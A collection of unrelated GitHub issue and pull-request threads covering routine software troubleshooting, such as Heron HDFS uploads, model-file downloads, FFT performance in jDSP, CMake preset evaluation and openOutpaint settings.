HDFS Uploader: Cannot run program "hadoop": error=2, No such file or directory

when i decide to run ExclamationTopology example on cluster, i found that need to use hdfs as uploader not local file system.
I follow the instructions on Setting Up HDFS Uploader, but when submit the topology i get the following error!
Cannot run program "hadoop": error=2, No such file or directory
[2016-07-04 13:17:57 +0430] org.apache.curator.framework.state.ConnectionStateManager INFO:  State change: CONNECTED
[2016-07-04 13:17:57 +0430] com.twitter.heron.statemgr.zookeeper.curator.CuratorStateManager INFO:  Topologies directory: /heron/topologies
[2016-07-04 13:17:57 +0430] com.twitter.heron.statemgr.zookeeper.curator.CuratorStateManager INFO:  Tmaster location directory: /heron/tmasters
[2016-07-04 13:17:57 +0430] com.twitter.heron.statemgr.zookeeper.curator.CuratorStateManager INFO:  Physical plan directory: /heron/pplans
[2016-07-04 13:17:57 +0430] com.twitter.heron.statemgr.zookeeper.curator.CuratorStateManager INFO:  Execution state directory: /heron/executionstate
[2016-07-04 13:17:57 +0430] com.twitter.heron.statemgr.zookeeper.curator.CuratorStateManager INFO:  Scheduler location directory: /heron/schedulers
[2016-07-04 13:17:58 +0430] com.twitter.heron.statemgr.zookeeper.curator.CuratorStateManager INFO:  Directory tree initialized.
[2016-07-04 13:17:58 +0430] com.twitter.heron.statemgr.zookeeper.curator.CuratorStateManager INFO:  Checking existence of path: /heron/topologies/ExclamationTopology
[2016-07-04 13:17:58 +0430] com.twitter.heron.spi.common.ShellUtils SEVERE:  Failed to check status of packer java.io.IOException: Cannot run program "hadoop": error=2, No such file or directory
[2016-07-04 13:17:58 +0430] com.twitter.heron.uploader.hdfs.HdfsUploader INFO:  The destination directory does not exist; creating it.
[2016-07-04 13:17:58 +0430] com.twitter.heron.spi.common.ShellUtils SEVERE:  Failed to check status of packer java.io.IOException: Cannot run program "hadoop": error=2, No such file or directory
[2016-07-04 13:17:58 +0430] com.twitter.heron.uploader.hdfs.HdfsUploader SEVERE:  Failed to create directory: hdfs://heron/topologies/aurora/ExclamationTopology
[2016-07-04 13:17:58 +0430] com.twitter.heron.scheduler.SubmitterMain SEVERE:  Failed to upload package.
[2016-07-04 13:17:58 +0430] com.twitter.heron.statemgr.zookeeper.curator.CuratorStateManager INFO:  Closing the CuratorClient to: <IP_ADDRESS>:2181,<IP_ADDRESS>:2181,<IP_ADDRESS>:2181
[2016-07-04 13:17:58 +0430] org.apache.zookeeper.ZooKeeper INFO:  Session: 0x355aabf8eb20041 closed
[2016-07-04 13:17:58 +0430] org.apache.zookeeper.ClientCnxn INFO:  EventThread shut down
[2016-07-04 13:17:58 +0430] com.twitter.heron.statemgr.zookeeper.curator.CuratorStateManager INFO:  Closing the tunnel processes
Exception in thread "main" java.lang.RuntimeException: Failed to submit topology ExclamationTopology
	at com.twitter.heron.scheduler.SubmitterMain.main(SubmitterMain.java:319)
ERROR: Failed to launch topology 'ExclamationTopology' because User main failed with status 1. Bailing out...```

I found the problem!
first need to add hadoop in $PATH.
export PATH=$PATH:$HADOOP_HOME/bin
then remove hdfs:/  from the HDFS uploader configuration file and change to follow:
heron.uploader.hdfs.topologies.directory.uri: /heron/topologies/${CLUSTER}/${TOPOLOGY}

error curl: (1) Protocol hdfs not supported or disabled in libcurl  is likely from : ShellUtils/curlPackage
but curl could not operate hdfs directly.
Apache Hadoop provided webhdfs rest api
to support curl files on hdfs
@mhajibaba Could you have a try?  don't forget modify hdfs-site.xml and add following config:
<property>
 <name>dfs.webhdfs.enabled</name>
 <value>true</value>
</property>

@mhajibaba - This is because when you used HDFS uploader, your aurora file heron.aurora needs to be changed to use hdfs command line.

@caofangkun Thanks a lot! I've configured HDFS and can run heron to use HDFS.
but i use an static command in aurora file and need to change the hdfs:/// URI to http:///webhdfs/v1/ URI!
How can i do it?
@kramasamy Thanks. I changed the heron.aurora file before like follow:
fetch_user_package = Process(
  name = 'fetch_user_package',
  cmdline = '/opt/hadoop-2.7.0/bin/hadoop fs -get  %s  ./%s  && tar zxf %s' % (heron_topology_jar_uri, topology_package_file, topology_package_file)
)

but it need to install hadoop client on all worker machines that is not good. so i need to use curl command.

@mhajibaba You may need to customize the HDFSUploader to return http:///webhdfs/v1/ URI

@maosongfu What is the proper configuration! It can not be heron.uploader.hdfs.topologies.directory.uri.
How i tell uploader to return my desired URI?
The main reason that i'm going to use HDFS is to upload my program (jar file) in a single location not on all machines. Is HDFS the solution? If true where i find the proper configuration?

@mhajibaba
For heron-core package, you could configure the uri directly in config: https://github.com/twitter/heron/blob/master/heron/config/src/yaml/conf/aurora/client.yaml#L2
For topology package, https://github.com/twitter/heron/blob/master/heron/spi/src/java/com/twitter/heron/spi/uploader/IUploader.java#L48, the IUploader.uploadPackage() returns the topology URI, so you may need to change the HDFSUploader a little bit.

@mhajibaba - we fixed one more issue with respect to YARN - especially when heron-shell is started - https://github.com/twitter/heron/pull/1140


mactop v0.2.2

mactop v0.2.2

New Total CPU and CPU core usage information, now using Apple's native Mach Kernel API in cgo (This is similar to how the popular htop and Activity Monitor provide CPU data)
Two new layouts (basic and advanced, which shows all individual core usages)
Sorting on Processes List
Added Time, VSZ, RSS, to processes list
Updated total power wattage chart
Added Avg and Max for power wattage
Thermals (Throttled or Nominal)

Preview screenshots (WIP)
Default layout:

Layout when pressing l key:

does this version fully support M4 Max/Pro?

does this version fully support M4 Max/Pro?

Yes, all M-series chips


Don't setup rack-timeout for rails in test env

more or less fixes #80, #55

Watch #78 for the next beta containing this change.

is there any way to enable this for the test env, or will it forever be unavailable? ideally it'll be present in the test env and just work with CI systems like Circle, I'd love to have a test to make sure this middleware is actually functioning (like the rest of our code)

Basically if you initialize rack-timeout manually you can do whatever you want. As it is in the linked example, it'd be loaded for all environments.
There's really not much to how this is done behind the scenes: https://github.com/heroku/rack-timeout/blob/master/lib/rack/timeout/rails.rb


Set max range for r scale

Currently Plot.dot() can create very large circles with the default r scale. E.g. see here: https://observablehq.com/d/ac556fbbda8d6cbe
Why not set the default range to be at most [...,20]?

Per the documentation:

for radius, the default range is designed to produce dots of “reasonable” size assuming a sqrt scale type for accurate area representation: zero maps to zero, the first quartile maps to a radius of three pixels, and other values are extrapolated. This convention for radius ensures that if the scale’s data values are all equal, dots have the default constant radius of three pixels, while if the data varies, dots will tend to be larger.

Of course whether this heuristic works well depends on the distribution of values in the radius channel; in the case of countries’ areas, it does not work well. You have:
d3.quantile(data.map(d => d.area), .25) == 2830
the ratio of the largest country’s area to this number is 5786 (which is 76^2); so the largest circle is going to have a radius of 76 * 3 px.

Thanks @Fil for the in depth explaination of the heuristics!
I understand that the heuristics works as designed. And that there are always cases when the default range is not optimal. I just wonder if there is any reason to allow the default range r to exceed a certain threshold.


Correct EU API endpoints configuration. Allow separate custom configuration of Both Logs and Event API endpoint.

Description
Default EU configuration (UI) does not send Event data to EU New Relic Accounts due to misconfiguration in newrelic-client-go
This can be fixed by setting a "Custom Insights URL" but this also overrides the Logging API endpoint causing logging data to not be sent.
https://github.com/newrelic/newrelic-pcf-nozzle-tile/blob/master/newrelic/nrclients/nrclients.go#L192-L193
Expected Behavior
[NOTE]: #  When selecting EU as account region that the data be sent to the EU.
When Custom Insights URL is chosen that this only configures the Event Endpoint URL and not both the Event and Logs endpoint.
Additional context
I have opened a ticket to fix the default value for the New Relic Client API endpoint
https://github.com/newrelic/newrelic-client-go/issues/663

Thank @stephencrowley for communicating the finding. I add this to our backlog.


Cannot access to "doclaynet_VGT_model.pth"

When I run "gunicorn -k uvicorn.workers.UvicornWorker --chdir /app/src app:app --bind <IP_ADDRESS>:5060 --timeout 10000" to start, there appears an issue to read "doclaynet_VGT_model.pth".
It turns out that this pth is not the right one.
Next, I found that the WEIGHT link "https://layoutlm.blob.core.windows.net/dit/dit-pts/dit-base-224-p16-500k-6" in "doclaynet_VGT_cascade_PTM.yaml" to get access to pth document is not available.  After opening, it shows as below:

PublicAccessNotPermitted
Public access is not permitted on this storage account. RequestId:25093491-f01e-004e-0d81-d6c6da000000 Time:2024-07-15T06:37:34.1385340Z

Can the author update a new way to access to "doclaynet_VGT_model.pth"?
Thank you very much!!!
### Tasks
- [ ] https://github.com/huridocs/pdf-document-layout-analysis/pull/37

The project functions as expected on our end, but we discovered that users in other parts of the world may be experiencing issues.
Please let us know which of the following links you are having trouble opening:
https://huggingface.co/microsoft/layoutlm-base-uncased
https://huggingface.co/HURIDOCS/pdf-document-layout-analysis
https://github.com/AlibabaResearch/AdvancedLiterateMachinery/releases/download/v1.3.0-VGT-release/doclaynet_VGT_model.pth
Thank you for your help.
Best

Thanks for your feedback!
I have no trouble opening the links you mentioned.
It was the DiT WEIGHT link written in '/app/src/model_configuration/doclaynet_VGT_cascade_PTM.yaml' ("https://layoutlm.blob.core.windows.net/dit/dit-pts/dit-base-224-p16-500k-62d53a.pth") that bothered me.
I just found the right link here: https://github.com/microsoft/unilm/tree/master/dit.  Now I have fixed this issue.
Thank you again for supports!

I think I have the same issue. Described it in #48. I already changed the download_models.py as described in #40 but still, the models won´t be downloaded.
@Mengqi925 Did you download the model manually? Could you describe your fix?
Kind regards!

Hi @NikoolaiZim
I first tried to use 'wget' to download, but I failed, the link pointed to a html, not the real model document.
So I downloaded the model manually, here is my steps.

download the 'doclaynet_VGT_model.pth' to the local content
move to your project content (optional)

mv ~/Downloads/doclaynet_VGT_model.pth /path/to/your/project/doclaynet_VGT_model.pth

run your docker container to mount this document

docker run -it --rm -v /path/to/your/project/doclaynet_VGT_model.pth:/app/models/doclaynet_VGT_model.pth your_image_name /bin/bash

you can verify whether successful

ls -lh /app/models/doclaynet_VGT_model.pth

Hope this can help you address the issue!

@Mengqi925 Thanks for your fast reply!
doclaynet_VGT_model.pth is the model beeing downloaded within the module download_models.py right?
I followed your steps and this helped me starting up the container!
However this doesn´t solve the issue with the DiT WEIGHT, right?
Kind regards :)

Hi, I really do not understand your problem here. Also I'm not sure why did you think like that but the link we shared in the download_models.py is NOT this:
https://github.com/AlibabaResearch/AdvancedLiterateMachinery/releases/tag/v1.3.0-VGT-release

What we shared is this:
https://github.com/AlibabaResearch/AdvancedLiterateMachinery/releases/download/v1.3.0-VGT-release/{model_name}_VGT_model.pth

And for the "model_name" parameter, we are passing "doclaynet", so the full link becomes this:
https://github.com/AlibabaResearch/AdvancedLiterateMachinery/releases/download/v1.3.0-VGT-release/doclaynet_VGT_model.pth

And it's working.
But what I don't understand is you do not have to think about any of it, the program should download the models automatically without you telling it explicitly. So all you have to do is to type "make start" in the terminal and that should be it.
Also, recently we have changed some endpoints. Please don't forget to pull the changes and just to make sure please remove the existing image and re-create it.
If you have more problems, please do not hesitate to reach out.

@NikoolaiZim Hi! Very happy this can help you!
You're right, DiT WEIGHT is from another source.
I found the DiT WEIGHT link written in '/app/src/model_configuration/doclaynet_VGT_cascade_PTM.yaml' ("https://layoutlm.blob.core.windows.net/dit/dit-pts/dit-base-224-p16-500k-62d53a.pth") cannot open.
So I searched in github and found the right DiT WEIGHT link here: https://github.com/microsoft/unilm/tree/master/dit.
Since the VGT model is trained by Alibaba Research Group, you can learn more from their website (https://github.com/AlibabaResearch/AdvancedLiterateMachinery/blob/main/DocumentUnderstanding/VGT/README.md).

@Mengqi925 Thank you for the help!
Did you see, that the Makefile was updated? The Service now works out of the Box without any changes!
Best regards,
4Ial0kin4


Flush after writing image.

Other ImageIO writers do this, eg JPEGImageWriter.

This is it! I need answer that why webp file has 0kb file size. It should be merged.


Fix nuget package

This PR makes it possible to use the code contracts nuget package by just adding Dotnet.Contracts as a nuget reference. (first commit)
It also makes some minor improvements to the target files such as adding support for .Net 4.6.2 (second commit). This can be moved to a second PR if requested.
Nuget improvements
The .targets files will be automatically included in the Project and no further action is required unless the MSI is also installed .
It should solve the following issues

#313 Nuget package refuse to install
#454 Cant install Nuget for DotNet.Contracts 1.10.20606.1
#13 CodeContracts as NuGet package

It should also allowing code contract rewriter to run for VS 2017 #451
However if you have installed the MSI you do need to include the following workaround at the top of your project file (it must be before "Microsoft.CSharp.targets" is included) which is mentioned in Issue #368
 <PropertyGroup>
   <DontImportCodeContracts>True</DontImportCodeContracts>
 </PropertyGroup>

.target file improvements

Remove extra space from library path
Use relative path when including analysis targets so that the same file can be used for multiple MsBuild versions

@Daniel-Svensson I would really love to see this completed. Can you sign the contributor license agreement?

@jeremysimmons i could try looking in a week or two if required (I am a bit unsure this is complex enough to warrant signing a cla).  I did not find any info about any CLA in the main readme.md do you know where to do so for this project?

Closing since the project seems abandoned


v2gen --init  still will fail.

See the following:
$ ./v2gen --init
panic: open /etc/v2ray/v2gen.ini: no such file or directory
goroutine 1 [running]:
main.checkErr(...)
/home/werner/software/anti-gfw/socks5/v2ray/V2Gen.git/main.go:64
main.main()
/home/werner/software/anti-gfw/socks5/v2ray/V2Gen.git/main.go:45 +0x1ef

Because it will write to /etc/v2ray/v2gen.ini , so you should use
sudo ./v2gen --init

or use -c xxx/xxx/v2gen.ini to save to a custom path
and add -c xxx/xxx/v2gen.ini when you generate a V2Ray config

or try -c xxx/xxx/v2gen.ini to save to a custom path
and add -c xxx/xxx/v2gen.ini when you generate a V2Ray config

It seems that you do not have /etc/v2ray/ folder,
try sudo mkdir /etc/v2ray/ first or try https://github.com/iochen/V2Gen/issues/3#issuecomment-531257320

I use the v2ray directly instead of installing it, so I don't have that folder.

you can make that folder or use another path like the solutions above.

Thanks, got it.


Addding TechMeet360 community

Hi guys! I am missing an index.md file with your page content! Please review the other folders to see what other communities have done! Also, how are you planning to collect sessions? You know you can get sessions automatically integrated into our site if you choose to use Sessionize! Another option is to list your sessions manually on your page here of course. Let me know how you want to proceed! /M

created index.md file

Mergin the PR. @nkuppurasu if you want to come back later and integrate the Sessionize agenda, just do another PR with the change.


Streaming audio with ffpyplayer expects metadata

If you try the following test file and click the button, it'll stay blue, because the application will hang.
FFPyPlayer seems to be expecting metadata from my stream, and this will not happen. Furthermore, it should expect them for 10 seconds according to the code (kivy/core/audio/audio_ffpyplayer.py L128) but for some reason time.clock() - s doesn't return anything near seconds (at least here).
Here is the test file:
https://bpaste.net/show/440f6a5812cf
It works if I comment L126-129 in audio_ffpyplayer.py.

Want to back this issue? Post a bounty on it! We accept bounties via Bountysource.

There is no longer enough information here to test it or investigate.
Closing as stale.
If the problem still exists, please let us know more details.

IMHO this issue is related to streaming in general, and it probably is solved via https://github.com/kivy/kivy/commit/c4a52ed0788b7389245c487b8d155cb7fdf8cbf7


Negate 2018 day 6 scores

The global 2018 leaderboard has the following notice:

Because of a bug in the day 6 puzzle that made it unsolvable for some users until about two hours after unlock, day 6 is worth no points on the global leaderboard.

This was also explained on Reddit by AoC's creator.
For some reason Private Leaderboards don't have this same nullification (unless you use "Global Leaderboard sorting" - which effectively is useless on private leaderboards for most people), but I think it might be worthwile to also implement this.
So, let's:

include a toggle to switch this "nullification" on/off (default on)
have all charts respond to it
bonus: also update the table with the actual leaderboard

On Reddit /u/topaz2078 explains why this change is not (yet?) in the main website: https://www.reddit.com/r/adventofcode/comments/a3kr4r/2018_day_6_solutions/eb8ssn1/?context=3


Webapp Generator Component 4: Implement function to call or trigger the script to build

Implement function to call or trigger the script to build and the web app after upload of JSON files

This is also addressed by PR #240
(Pressing submit button starts the generator, and you get to download the zip)


FFT Request Performance Enhancement

Hello,
Currently the performance of the Discrete Fourier in Java is sub-par, is it possible to integrate the FFTW if it is installed on the system to use it as it is backed by C? It runs in milliseconds compared to minutes on Java when running a 1 million point signal
Thanks in advance

An initial search showed this to be a clean implementation of FFT done purely in Java. https://commons.apache.org/proper/commons-math/javadocs/api-3.4/org/apache/commons/math3/transform/FastFourierTransformer.html
Will incorporate this first to see if any time improvements are observed.

Thank you so much for your time

I would very much second this; am developing an Android app that would use jDSP and the app is on the verge of crashing with the DFT of just a 1 second sample, sampled at 1 kHz...

Using the FastFourierTransformer provided by Math3, these are the stats for executing long duration signals:
100000 points
FFT execution time in nanoseconds: 43335206
DFT execution time in nanoseconds:<PHONE_NUMBER>31 (~6 minutes)
1 million points
FFT execution time in nanoseconds: 154251513
DFT execution time in nanoseconds: ∞ (My patience just ran out!!!)
FFT improves execution time significantly

However, there seems to be a difference in the outputs apparently because FastFourierTransformer only accepts signal lengths in the power of 2. The resolution of the output is different between FFT and DFT.

However, there seems to be a difference in the outputs apparently because FastFourierTransformer only accepts signal lengths in the power of 2. The resolution of the output is different between FFT and DFT.

Yep, that's inherent to the FFT algorithm; it makes use mathematical tricks when the input is a power of 2...

However, there seems to be a difference in the outputs apparently because FastFourierTransformer only accepts signal lengths in the power of 2. The resolution of the output is different between FFT and DFT.

Yep, that's inherent to the FFT algorithm; it makes use mathematical tricks when the input is a power of 2...

Yes. The FFT Butterfly needs the length to be a power of 2.
Padding the DFT input gives the same output as FFT so the test works now.

Completed implementing FastFourier and InverseFastFourier. The simple tests for FFT and I-FFT works so implementation is fine.
Also modified the source codes for Hilbert, STFT and ISTFT to incorporate FastFourier classes. However, based on what I have tested, below 200 points, the DiscreteFourier is more time efficient. So I have created a conditions to choose which Fourier Method to use.
@SiboVG Could you write some test cases to test the modifications are functioning please?

@SiboVG Could you write some test cases to test the modifications are functioning please?

Just for the FFT and IFFT?

Just for the FFT and IFFT?

Nope. Those tests have been passed.
Tests for STFT and Inverse STFT. Present tests still use DFT and I-DFT because the signal lengths are fairly small.
I am writing tests for Hilbert Transform cases which uses FFT.

Alright, I'll take a look at it


[API]fixed build issues and incorrect API endpoint

Notes for Reviewers
This PR fixes #8799
Signed commits

[x] Yes, I signed my commits.

Hey @Shiva953 really appreciate your enthusiasm to contribute , However please refrain from creating direct PRs without getting assigned first .

@Shiva953 can we offer some assistance?


src/*: use counter instead of histogram in metrics forscan_details

@BusyJay @disksing PTAL

LGTM
Please update the grafana too.


Remove use of componentWillMount

React 16.9.0 deprecated componentWillMount so it now throws a warning when used.
As far as I can see this should be a simple swap to componentDidMount

@jamiebuilds This looks like it passes on node 6,8 & 10 and 4 fails for an unrelated reason. Ready for code review :)

@dr3 This project is dead.

@bertho-zero And not accepting any contributions at all? Seems a shame, works well for those with SSR until Lazy supports it

ya it looks like this library has been replaced by React Suspense

@prevolorio It looks that way, which is a shame as Suspense doesn't support SSR yet

Should call  this._loadModule(); in constructor.

@jamiebuilds pls review this PR, I wonder why this project has no issues tab? It's easier to find out what's wrong. And, we can stop support for Node 4.

What will it take to get this merged?

Still alive and maintained: https://github.com/smooth-code/loadable-components

Any update on this, will this PR get merged anytime soon?

Atleast this depricated issue should be resolved before suspense supports SSR.

@ankibalyan One would certainly think this 1 PR would go in. One would think a warning would be posted on the project entry page that this is unmaintained. One would think that this project would be archived. One would think a referral link to https://github.com/smooth-code/loadable-components would be in order. One would think that github would have some mitigating measurement of new vs old stars. But alas...
But thankfully migrating over to https://github.com/smooth-code/loadable-components is probably quite painless for most. At least it was for me.

Build is failing for Node 4, perhaps the author wants to still support Node 4?

@jasonnathan the master branch also fails on node 4

Still alive and maintained: https://github.com/smooth-code/loadable-components

That doesn't have the same features or API, unless I'm missing something?

Shame

@cdeutsch There are the same features with https://github.com/smooth-code/loadable-components

Yeah we were considering forking this repo under the bbc organisation, however were now moving to loadable-components, similar features with actually a fair bit more stuff.
Happy to merge this, if allowed, if anyone wants it though

Yeah we were considering forking this repo under the bbc organisation, however were now moving to loadable-components, similar features with actually a fair bit more stuff.
Happy to merge this, if allowed, if anyone wants it though

It has typescript support unlike loadable-components

still dont know how to solve it. can you please help me?


'derives from' in definitions of specimens

In the class 'human specimen set', I noticed that "'derives from' some 'Homo sapiens'" is in the equivalent axiom. But the 'derives from' definition states that the "old entity" (in this case H. sapiens) ceases to exist when the new entity begins to exist, and an organism is not necessarily destroyed in specimen collection.
Similarly, a heart specimen is defined in OBI as deriving from a heart, but again, that heart does not necessarily cease to exist in the creation of the specimen, especially if the specimen is only a sample of the heart's tissue.

Note: This change addresses the only original problem with 'human specimen set'. It does not address similar issues that came up in the discussion with 'biopsy' samples, for which also samples of a part of a whole are taken. It means we have to distinguish more clearly if 'heart specimen' is meant to be 'whole heart specimen' or also cover 'heart biopsy'?

Discussed on 2020-03-02. Consensus reached was to modify the equivalent axiom to read that the specimen derives from 'part of' a human rather than derives from the human. Will search for other such instances. Future discussion: possible role for "sampled material".


[release/1.0] Fix image pull after a failure

When resuming from a failed pull writer.Truncate() was not
seeking to the proper position in the file. This caused writes to
happen after the previously written content, instead of at the start
of the file.
Signed-off-by: Daniel Nephin<EMAIL_ADDRESS>(cherry picked from commit<PHONE_NUMBER>8e2c2dee3d7253f7fd0d3a40f0ec19)
Signed-off-by: Stephen J Day<EMAIL_ADDRESS>

Adds #1904 for 1.0 branch.

Codecov Report

Merging #1928 into release/1.0 will not change coverage.
The diff coverage is n/a.

@@             Coverage Diff             @@
##           release/1.0   #1928   +/-   ##
===========================================
  Coverage         50.7%   50.7%
===========================================
  Files               81      81
  Lines             7161    7161
===========================================
  Hits              3631    3631
  Misses            2845    2845
  Partials           685     685

Flag
Coverage Δ

#linux
50.7% <0%> (ø)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 6c7abf7...3462842. Read the comment docs.


Fix 2067: HTML/DOC reporter regression with async failures

Fixes https://github.com/mochajs/mocha/issues/2067

Reviewed 4 of 4 files at r1.
Review status: all files reviewed at latest revision, all discussions resolved.

Comments from the review on Reviewable.io


Core codes for the sandwich weight sharing

Dear Subformer authors,
Thanks for sharing your codes on the interesting subformer work! I am eager to reproduce your experiments on sandwich weight sharing. But I am a little confused about finding your core codes from the fairseq templete. Is it mainly in the fairseq/modules/subformer_layer.py? Could you kindly introduce your core codes on weight sharing? Thanks very much!
Bests,
Qian

Hi Qian!
The sandwich-style parameter sharing is implemented in fairseq/models/transformer.py.
Let me know if that helps!
Best,
Machel

Thanks for your feedback. Very helps!


Add shellcheck, linter and plugin.yml

Looks like the tests are broken, but all these changes are okay, so I'm going to merge.


OAuth DPoP

I'm also thinking about extracting that token functionality from WalletService, but this would be better suited in a future PR.

Jvm Build fails but tests succeed? Implementation looks good to me.

 e: file:///home/runner/work/vck/vck/vck-openid/src/commonMain/kotlin/at/asitplus/wallet/lib/oidvci/WalletService.kt:738:9 No parameter with name 'httpMethod' found.
@JesusMcCloud shouldn't this be a composite build, with the checked-in code from the submodule?

So apparently, the jvmTest action disables composite builds. I've now reverted this change, BUT we need to have a strategy for testing releases. My proposal: Introduce an allTests action that disables composite builds, which will run only on release/xxx branches an main. D'Accord?!
FYI: snapshot publishing works now for Signum, so we can depend on the actual version catalogs of the signum commit included in the composite build. We should, however, pin this snapshot version to a specific build (e.g. 4.0.0-20240917.201628-3 for indispensable and 0.3.0-20240917.201628-6 for Supreme. if you agree, just assign me an issue with reference to this comment.


edit fw for 2022 hyundai tucson

I installed the stock openpilot does not work for me even with master-ci.
I followed the instruction to get my fw and updated value.py
The following values does recognize my car. (2022 hyundai tucson limited)

what is your dongle id?

here is my dongle id
a0191364609ee493

Unfortunately your car has a part number used in the Santa Cruz and therefore requires different tuning. Please refer to this issue: https://github.com/commaai/openpilot/issues/27206


Replace @obewds/vue-el repo with starter based repo

Replace @obewds/vue-el repo with starter based repo
Parent Epic Issue: https://github.com/obewds/vite-vue-ts-compo-pkg-starter/issues/70

Done here: https://github.com/obewds/vue-el


opensearchapi: Added new struct fields introduced by opensearch 2.12

Description
Adds missing struct fields that fails the validation against latest opensearch
Issues Resolved
List any issues this PR will resolve, e.g. Closes [...].
By submitting this pull request, I confirm that my contribution is made under the terms of the Apache 2.0 license.
For more information on following Developer Certificate of Origin and signing off your commits, please check here.

This should fix all workflows except the security one which is handled in #449

106106d488c6fd0668d53af3d987b2b371542b4a is a type change and therefore a braking change?
If yes then we maybe want to consider stop testing against unrealesed Opensearch as it may bring a lot of braking changes with it and only the changes once we support 3.0.0?

@Jakob3xD That is being reverted in https://github.com/opensearch-project/OpenSearch/pull/12543


Fetch more singles & artists after 10 records

How could we find singles and albums in the iteration? Suppose after fetching 10 records I am expecting to fetch more.
BTW: if I try to get data for the artist #UC8AQ6pEYVYy_gSD-XixbhPQ it gives me an error, and if I go to search it gives me the same id.

project not supporting yet


Add bucketed metrics and kinesis configuration to send logs to kibana

This PR is basically the same as https://github.com/limitd/limitd/pull/87 (what changes is in the comments). For the previous PR (that never hit prod) we detected that there was a potential issue when the configuration is not defined; which might be dangerous since config deploys separately. This PR adds some defensive measure about that.

@dafortune limitd will emit high volume of logs i guess. are we planning to sample?


Wrong evaluation of CMakePresets.json

https://github.com/microsoft/vscode-cmake-tools/blob/develop/docs/cmake-presets.md#supported-cmake-and-cmakepresetsjson-versions says "CMake Tools reads and evaluates CMakePresets.json and CMakeUserPresets.json, and does not invoke CMake directly with the --preset option.", unfortunately with CMake Tools 1.7.0 the evaluation is not equivalent to the one done by CMake.
https://cmake.org/cmake/help/latest/manual/cmake-presets.7.html#macro-expansion says "All macros are evaluated in the context of the preset being used, even if the macro is in a field that was inherited from another preset.". And when using
{
    "version": 2,
    "cmakeMinimumRequired": {
        "major": 3,
        "minor": 20,
        "patch": 0
    },
    "configurePresets": [
        {
            "name": "Base",
            "hidden": true,
            "generator": "Ninja",
            "binaryDir": "build/${presetName}"
        },
        {
            "name": "Complete",
            "inherits": "Base"
        }
    ]
}

and using the "Complete" preset CMake Tools uses build/Base as binaryDir while CMake uses build/Complete.

Thanks for reporting this.  @xisui-MSFT can you take a look?

The PR with a fix for this problem was merged in the GitHub repository and, if you'd like, you can validate it by installing this custom vsix before we release the official 1.7.1.
https://github.com/microsoft/vscode-cmake-tools/actions/runs/774916180

CMake Tools 1.7.1 was released today and it contains a fix for this issue. Upgrade the extension in VSCode and let us know if you encounter any other problems.


:lady_beetle: Add margin under section headers

Issue:
in console 4.15 changed some css classes, on of them is the margin below a section header
Fix:
Add the missing margin by using h2 instead of Title, wrap the h2 in custom component to hide the not nice use of h2
Screenshots
Before:

After:

@rszwajko - ping note this affect also the new plan form


smallBeautification

Added Values to Branch Selection
Disable Development Phase in any "Agile" Project

at braches i see that. should it be like this?

and for "classic" dev proccess i can not also choose phase

No idea, why that happened... It works fine with me.
Can you specify what you did? I could not reproduce the Problem while typing in the same values.

same with me ... project phase is disabled i just clicked on the new project , changed the development process to classic

Ok. Then ignore it for the moment.
I will recheck it and I have even found another bug (one that I actually can reproduce).


added tests

for curried functions. Note that the where function has some issues that need to be resolved and a proper typing cannot be done in TypeScript per http://stackoverflow.com/a/29803848/632495

Hopefully the type system will be enhanced in the near future. Thanks.


feat: generate questionnaire review summary

This PR introduces a feature that generates a questionnaire review summary Workflow:

User answers a questionnaire and a questionnaire response is generated
Save the response in cloud healthcare
Generate a review summary i.e Determine the patient's risk factors based on the give algorithms
Record the risk assessment under the RiskAssessment FHIR resource type - Prediction is either High Risk or Low Risk

Review Checklist

Summary*

[ ] fix: Bug fix for Add the items tackled here as checklists
[x] feat: Completed task
[ ] chore: Incomplete task

[ ] test: Sub-task 1

Structure*

[ ] The Pull Request has a proper title that conforms to our MR title standards
[ ] The Pull Request has one commit, and if there are more than one, they should be squashed
[ ] The commit should have a proper title and a short description
[ ] The commit must be signed off
[ ] Unused imports are not present
[ ] Dead code is not present
[ ] Ensure dry running library to confirm changes

Tests

[ ] Proper and high quality unit, integration and acceptance(if applicable) tests have been written
[ ] The coverage threshold should not be lowered

Sign off*

[ ] All comments have been resolved by the reviewers
[ ] Approved by Czar {replace_with_czar_name}
[ ] Signed off by second reviewer {replace_with_name}
[ ] Ensure all checks are done before merging :warning:
[ ] All PRs needs to be signed before merging :warning:

N/B:

Add a checklist if more than one item is done.
Add screenshots and/or images where necessary
Indicate any breakages caused in the UI :exclamation:
Where necessary, indicate which issue the Pull Request solves (Closes #)
Any new files are updated in the folder structure in the README

Pull Request Test Coverage Report for Build<PHONE_NUMBER>

-4 of 136 (97.06%)  changed or added relevant lines in 3 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage increased (+0.3%) to 83.095%

Changes Missing Coverage
Covered Lines
Changed/Added Lines
%

pkg/clinical/usecases/clinical/questionnaire_response.go
75
79
94.94%

Totals

Change from base Build<PHONE_NUMBER>:
0.3%

Covered Lines:
6405

Relevant Lines:
7708

💛  - Coveralls


Firstpass height and width with hi-res fix in img2img?

Discussed in https://github.com/zero01101/openOutpaint/discussions/136

Originally posted by Drakmour December 30, 2022
I can't find where to put the initial resolution for hi-res fix in img2img of OpenOutpaint. Like firstpass height and width in text2img. Is there such option? I've read that right now it decrease the resolution x2 and then generate, but if my image is more than 1024 and is not square it still result in morbid multiple characters. I'd like to have an option to make firstpass 512x512 and then resize to my end resolution. It 99% works in text2img and should work in img2img. In text2img I get random result, while in img2img I can draw a sketch of pose of character myself to have much more control of the result.

dream/txt2img automatic hrfix option previously calculated its x/y values by simply halving the value of the resolution slider and applying it to both x and y axes as reticles used to be purely square.
testing branch commit https://github.com/zero01101/openOutpaint/commit/c9a768d406503405b894eea5d44ebb1ab133489b adds a hacky (what a surprise) quick fix to set the x/y values against the actual returned boundary box dimensions.

alright, actually @Drakmour if you've already ran git checkout testing then just run another git pull; i've just added an "hrfix lock px" slider here:

basically, it steps between 0/256/512/768 - set it to 0 to turn off max pixel values, and you can of course click the slider to type a manual integer value, but tl;dr - set the slider and if the automatic hrfix value is > slider value, slider value is used, either X or Y axis.
for example, an image dreamed at 960x1408 with a lock value of 512 sets firstpass height to 512, and firstpass width to 480.  a 1920x1856 clamped to 512 firstpasses at... 512x512 of course.  768 was chosen as a ceiling for the moment since that's the largest training data any model's been based on so far.
anyway, let me know if this is more useful :)

